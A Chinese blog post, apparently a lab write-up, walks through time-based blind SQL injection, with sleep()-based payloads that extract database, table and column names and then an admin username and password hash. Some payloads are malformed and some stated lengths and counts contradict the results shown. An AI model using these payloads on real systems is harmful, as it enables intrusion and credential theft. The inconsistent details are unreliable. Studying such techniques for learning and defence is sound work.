美文网首页
2020-07-13 SQL盲注(延时注入)

2020-07-13 SQL盲注(延时注入)

作者: 昨天今天下雨天1 | 来源:发表于2020-07-13 09:36 被阅读0次

思路:
*判断是否存在注入,注入是字符型还是数字型
*猜解当前数据库名
*猜解数据库表名
*猜解字段名
*猜解数据
1判断注入类型

payload result
1’ and sleep(5) # 延迟
1 and sleep(5)# 没有延迟
存在字符型注入
2猜解当前数据库名
2.1猜解数据库名的长度:

payload result
1’ and if(length(database())=1,sleep(5),1) # 没有延迟
1’ and if(length(database())=2,sleep(5),1) # 没有延迟
1’ and if(length(database())=3,sleep(5),1) # 没有延迟
1’ and if(length(database())=4,sleep(5),1) # 延迟
说明数据库名长度为4个字符。
2.2采用二分法猜解数据库名:

payload result
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1) # 延迟

1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1) # 没有延迟
说明数据库的第一个字符为小写字母d(ASCII码:100)
重复上述步骤,就能猜解出数据库名。
3猜解数据库的表名
3.1先猜解数据库中表的数量:

payload result
1’ and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1) # 没有延迟
1’ and if(select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1) # 延迟
说明数据库中有两个表。
3.2接着猜解表名:

payload result
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 延迟
说明第一个表名的长度为9个字符。
然后猜解表名:

payload result
1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)))>97,sleep(5),1) # 延迟
1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)))<100,sleep(5),1) # 没有延迟

1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=103,sleep(5),1) # 延迟
表名的第一个字符为g(ASCII码:103),照此方法依次猜出表名。
得出这两个表依次为:guestbook、users.
4由表名猜字段名
先猜字段数:

payload result
1’ and if((select count(column_name) from information_schema.columns where table_name= “users”)=1,sleep(5),1) # 没有延迟

1’ and if((select count(column_name) from information_schema.columns where table_name= “users”)=9,sleep(5),1) # 延迟
说明users表有8个字段。
猜字段名

payload result
1’ and if((select ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1)))>97, sleep(5),0) # 延迟
1’ and if((select ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1)))<105, sleep(5),0) # 延迟

1’ and if((select ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1)))=117, sleep(5),0) # 延迟
依次类推可得表中所有字段名
敏感字段: user、password.
猜解user和password的值的长度
第一个用户名长

payload result
1’and if((select (length(substr((select user from users limit 0,1),1))=1) ,sleep(5),1) # 没有延迟

1’and if((select (length(substr((select user from users limit 0,1),1))=5) ,sleep(5),1) # 延迟
第一个用户名的password的md5字段长

payload result
1’and if((select (length(substr((select password from users limit 0,1),1))=1) ,sleep(5),1) # 没有延迟

1’and if((select (length(substr((select password from users limit 0,1),1))=27) ,sleep(5),1) # 延迟
第一个用户名:

payload result
1’ and if(select ascii(substr((select user from users limit 0,1),1,1))>97,sleep(5),1) # 没有延迟

1’ and if(select ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1) # 延迟
依次猜解得第一个用户名为admin
第一个用户的密码

payload result
1’ and if(select ascii(substr((select password from users limit 0,1),1,1))>97,sleep(5),1) # 没有延时

1’ and if(select ascii(substr((select password from users limit 0,1),1,1))=53,sleep(5),1) # 延时
依次猜解密码的md5值:5f4dcc3b5aa765d61d8327deb882cf99

user password
admin 5f4dcc3b5aa765d61d8327deb882cf99
这样就可以猜解数据库中的数据。
语句:
select schema_name from information_schema.schemata (获取数据库名)
select table_name from information_schema.tables (获取表名)
select column_name from information_schemata.columns (获取所有列名)
函数:
sleep()函数
用法(语法):sleep(duration),其中duration的单位是秒。

ascii(string)
功能: 数据库字符集返回string的第一个字节的十进制表示。

substr(string,start [,length])
第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

count(column_name) 函数返回指定列的值的数目(NULL 不计入)。

limit [offset,] rows
offset是偏移量,表示我们现在需要的数据是跳过多少行数据之后的,可以忽略;
rows表示我们现在要拿多少行数据。

相关文章

  • 2020-07-13 SQL盲注(延时注入)

    思路:*判断是否存在注入,注入是字符型还是数字型*猜解当前数据库名*猜解数据库表名*猜解字段名*猜解数据1判断注入...

  • 一步一步学习 Web 安全 2.4 union 联合查询注入

    对 SQL 注入有一个大致的了解后,我们再来深入学习。 SQL 注入有联合查询注入、报错注入、布尔盲注、时间盲注等...

  • 2019-02-24 sql注入

    sql注入主要分为显注和盲注,显注就是你注入的sql语句可以显示的显示到界面上,告诉你的语句对还是错。盲注就是不会...

  • sql注入之盲注

    所谓的盲注即是在sql注入后在前端没有出现报错信息,无法判断是否注入成功。所以需要盲注进行判断 盲注分为基于布尔型...

  • sql注入-盲注

    注入源代码 1.left()判断数据库版本

  • SQL注入之布尔盲注

    title: SQL注入之布尔盲注date: 2019-05-25 14:05:48tags:- SQL注入- 布...

  • sqli-lab之第二章--盲注

    第二章 盲注 注意: 本文大部分内容都是参考mysql注入天书 学习篇 何为盲注?盲注就是在 sql 注入过程中,...

  • SQL注入靶场—盲注Rank1-2

    当存在注入点,但服务器没有返回sql执行后的结果回显,就可以使用盲注,盲注分为布尔注入和时间注入。 布尔注入涉及的...

  • 【SQL注入】如何提高盲注的效率

    0x01 SQL注入之盲注 提到SQL注入,我想懂安全的小伙伴们应该都知道的,那么今天就来聊一聊关于如何提高盲注效...

  • sql盲注学习笔记

    sql盲注 在刚接触sql注入的时候还不太清楚sql盲注是什么,很多东西都要自己去体会才能知道到底是什么样子的。 ...

网友评论

      本文标题:2020-07-13 SQL盲注(延时注入)

      本文链接:https://www.haomeiwen.com/subject/cyoocktx.html